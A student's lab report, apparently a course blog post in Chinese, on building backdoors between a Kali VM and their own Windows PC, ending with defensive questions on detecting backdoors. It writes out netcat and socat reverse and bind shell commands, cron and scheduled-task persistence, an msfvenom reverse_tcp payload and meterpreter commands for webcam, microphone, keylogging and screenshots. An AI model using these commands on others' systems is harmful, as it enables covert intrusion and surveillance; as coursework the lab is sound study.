20211317 网络对抗技术 exp2 后门原理与实践

20211317 网络对抗技术 exp2 后门原理与实践

1 实践基础

1.1 实践目标

利用常见的后门攻击软件在linux kali虚拟机和Windows本机之间实现简单的后门入侵,了解后门基本原理。

1.2 实践内容

  • 使用netcat获取主机操作,尝试cron启动。
  • 使用socat获取主机操作,尝试任务计划启动。
  • 使用MSF meterpreter(或其他软件)生成可执行文件,利用natcat或者socat传送到主机并运行,获取主机Shell。
  • 使用MSF meterpreter(或其他软件)攻击获取主机音频、摄像头、击键记录等内容。

1.3 基础知识

后门的概念

后门
后门是指不经过正常的认证流程而直接访问系统的通道,即绕过安全控制而获取对程序或系统访问权的方法。
应用程序、操作系统、编译器等地方均可设置后门,其中应用程序中的后门是最为常见的。

常用的后门工具

Netcat
Netcat可以进行基本的TCP、UDP的数据收发工作,Netcat可用于扫描,Netcat与其他工具的结合使用开发了许多网络攻击手段,在网络攻击中具有“瑞士军刀”之称。后门便是其中的一种。

Socat
Socat可以看做Netcat的加强版。Socat 的主要特点就是在两个数据流之间建立通道,且支持众多协议和链接方式,如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。

Meterpreter
Meterpreter是一个可以用于生成后门的程序。它包含着后门的基本功能、扩展功能、编辑模式、运行平台、运行参数等,它把后门的内容全部做成零件或者可调整的参数,按需组合使用形成需要的可执行文件。

2 实践过程

2.1 准备工作

获取IP地址
获取本次实验所需要的kali主机(Linux)和本机(Windows)的IP地址。

在本机中cmd运行窗口,输入命令行ipconfig,获取Windows主机的IP地址,可知Windonws主机的IP地址为:192.168.1.112

在kali虚拟机中输入命令行ifconfig,获取Linux主机的ip地址,可知Linux主机的IP地址为:192.168.149.129

下载所需的文件
Linux系统自带natcat和socat,但是我的Windows主机只有natcat没有socat,因此在实验开始之前,先根据老师所提供的实验链接,下载socat的相关安装包并安装解压到本机电脑上。

2.2 使用netcat获取主机操作

2.2.1 在Windows中获取Linux操作

在Windows主机中使用ncat -l -p 8317监听本机的8317端口。

在虚拟机中使用命令行nc 192.168.1.112 8317 -e /bin/sh,采用反弹式连接,连接到Windows主机上。(192.168.1.112为Windows本机ip)

可以看到,此时处于监听状态的Windows主机成功获取到了Linux虚拟机的Shell,可以输入命令行查看相关的信息。

2.2.2 在Linux中获取Windows操作

在kali虚拟机中使用nc -l -p 8317监听虚拟机的8317端口。

在Windows主机中使用命令行ncat -e cmd [kali IP] 8317反弹式连接到kali虚拟机上。

成功获取到了kali的Shell。


2.2.3 获取Linux虚拟机操作,cron启动

在虚拟机上用命令号crontab -e编辑一条定时任务。

crontab命令
crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。通过crontab命令,我们可以在固定的间隔时间执行指定的系统指令或shellscript脚本。时间间隔的单位可以是分钟、小时、日、月、周及以上的任意组合。
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段。

第一次使用时,需要选择采用的编辑器,选择第二个选项:/user/bin/vim.basic,选择vim编辑器。
打开后,在最后一行输入03 * * * * /bin/netcat [win ip] 8317 -e /bin/sh,在每个小时的第22分钟反向连接到Windows主机的8317端口。

等到每小时的03分,在Windows本机端口使用命令行ncat -l -p 8317打开8317端口进行监听,成功获取虚拟机的Shell。

2.3 使用socat获取Windows主机操作,任务计划启动

查看socat指令
man socat

在Windows主机中按Win+R,再输入compmgmt.msc打开计算机管理器。

在系统工具中的任务计划程序中创建任务,取名为:20211317lzt。

新建触发器,设置为在工作站锁定时触发启动,并设置任务状态为启动。

新建操作为启动程序,添加socat程序的路径(socat.exe),并添加参数:tcp-listen:8317 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口4323。

设置完成后点击确定保存,按下Win+L锁定主机,触发任务开启。
右键运行

在kali中输入socat -tcp:[主机ip]:8317,连接到Windows主机,成功获取Windows的Shell。

2.4 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Windos使用命令行ncat -lv 8317 >20211317_backdoor.exe,打开4323端口监听,等待接收可执行文件20211317_backdoor.exe。

在kali上用命令行nc [主机ip] 8317 < 20211317_backdoor.exe,将生成的可执行文件20204323_backdoor.exe传送给Windows主机。

将Windows上的防火墙和杀毒软件都关闭。

在kali上使用msfconsole进入msf控制台。

配置完成后,输入exploit进行监听。在Windows上打开20204323_backdoor.exe文件,kali虚拟机Linux端成功获取Shell。

2.5 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1、获取麦克风音频
record_mic

2、获取摄像头图片
webcam_snap

3、获取击键记录
开始获取:keyscan_start

结束获取:keyscan_dump

4、获取主机屏幕图像
screenshot

这里找到我的root文件夹,超级权限打开后就能看到以上操作保存的所有文件了

2.6 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[kali地址] LPORT=8317 -x /home/kali/kalishare/pwn1 -f elf > 20211317_pwn1生成以pwn1模板这个elf文件格式的shellcode文件20211317_pwn1

    效仿上述步骤,打开msfconsole
use exploit/multi/handler    //进入handler模式
set payload linux/x86/meterpreter/reverse_tcp  //对应生成的后门程序设置payload
show options  //查看当前信息状态
set LHOST 192.168.146.134  //设置LHOST,其中ip为攻击者Linux的ip
set LPORT 4317 //设置LPORT
exploit //启动监听


再输入chmod +x 20211317_pwn
和sudo ./20211317_pwn运行

此时攻击者Linux上已经获得了被攻击者Linux的连接,并且得到了远程控制的shell

3 遇到的问题及解决

问题一
在从kali到win传后门文件时用ncat传送后无法运行,后改用共享文件夹成功。

问题二
在windows上运行打开后门软件后win杀毒软件直接杀死,强行退出,在关掉win安全中心和杀毒软件后成功运行

4 实验感悟

4.1 个人感悟

本次实验刚开始接触时感觉不是很难,相比于第一次实验,花费的时间明显少了不少,操作和原理理解起来也比较简单,而且格外有意思,在做的过程中我会思考,为什么输入这条指令,就能实现这样的功能,比如打开摄像头、截取屏幕等,提高了我对网络攻防的兴趣以及网络安全的意识。
但由于前期耗费了一定的时间,后面在对于meterpreter的使用理解的不是很到位,只是参考别人的实验代码理解和使用命令行进行操作,
通过本次实验也体会到了后门入侵的强大之处,提高了自己平时在使用电子产品时的安全意识。

4.2 问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
后门进入系统的一个可能方式是通过恶意软件或特洛伊木马程序。例如,攻击者可以通过电子邮件附件、下载的恶意软件或者利用未打补丁的软件漏洞等方式将后门植入目标系统中。在用户不知情的情况下,攻击者可以利用这个后门获取系统的访问权限,执行任意命令,窃取数据或控制整个系统。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
在Windows和Linux系统中,后门启动的方式可以包括但不限于以下几种:

  • Windows:攻击者可能会将后门程序注册为服务(使用sc命令创建系统服务),或者修改计划任务使其定期启动。此外,恶意DLL文件也可以通过劫持正常的系统进程加载机制来启动。

  • Linux:攻击者可能会在cron定时任务中添加启动后门的指令,或者将后门程序注入到开机启动脚本(如/etc/rc.local)中。另外,利用环境变量预加载(LD_PRELOAD)机制加载恶意动态链接库也是一种常见的启动后门的方法。
    (3)Meterpreter有哪些给你映像深刻的功能?
    Meterpreter的一些印象深刻的功能包括:

  • 高级交互式 shell:提供一个功能丰富的命令行环境,允许攻击者在目标系统上执行各种操作,如上传下载文件、执行系统命令、浏览文件系统等。

  • 移动性:由于Meterpreter是内存驻留的,相比于传统的shell,它更难以被检测到,具有更强的隐蔽性。

  • 强大的扩展模块:Meterpreter支持大量插件,用于提权、抓屏、键盘记录、网络嗅探、进程注入等各种高级渗透测试活动。

  • 会话持久化:允许攻击者在断开连接后仍能重新连接到目标系统,保持对目标系统的长期控制。
    (4)如何发现自己有系统有没有被安装后门?
    发现系统是否被安装后门的方法可以包括:

  • 定期进行安全审计:检查系统日志(如Windows事件查看器、Linux系统日志)以发现异常登录、未知进程启动等情况。

  • 使用杀毒软件或入侵检测系统扫描系统是否存在已知的恶意软件样本。

  • 检查系统启动项和服务列表,查找未知或异常的服务和计划任务。

  • 对系统关键文件(如系统二进制文件、配置文件等)进行完整性校验,确认是否有未经许可的更改。

  • 进行网络流量分析,监测是否存在异常的数据传输行为。

  • 对系统进行全面的安全评估和渗透测试,模拟黑客攻击以找出潜在的漏洞和后门。

posted @ 2024-03-28 21:07  LLLZTTT  阅读(18)  评论(0编辑  收藏  举报
$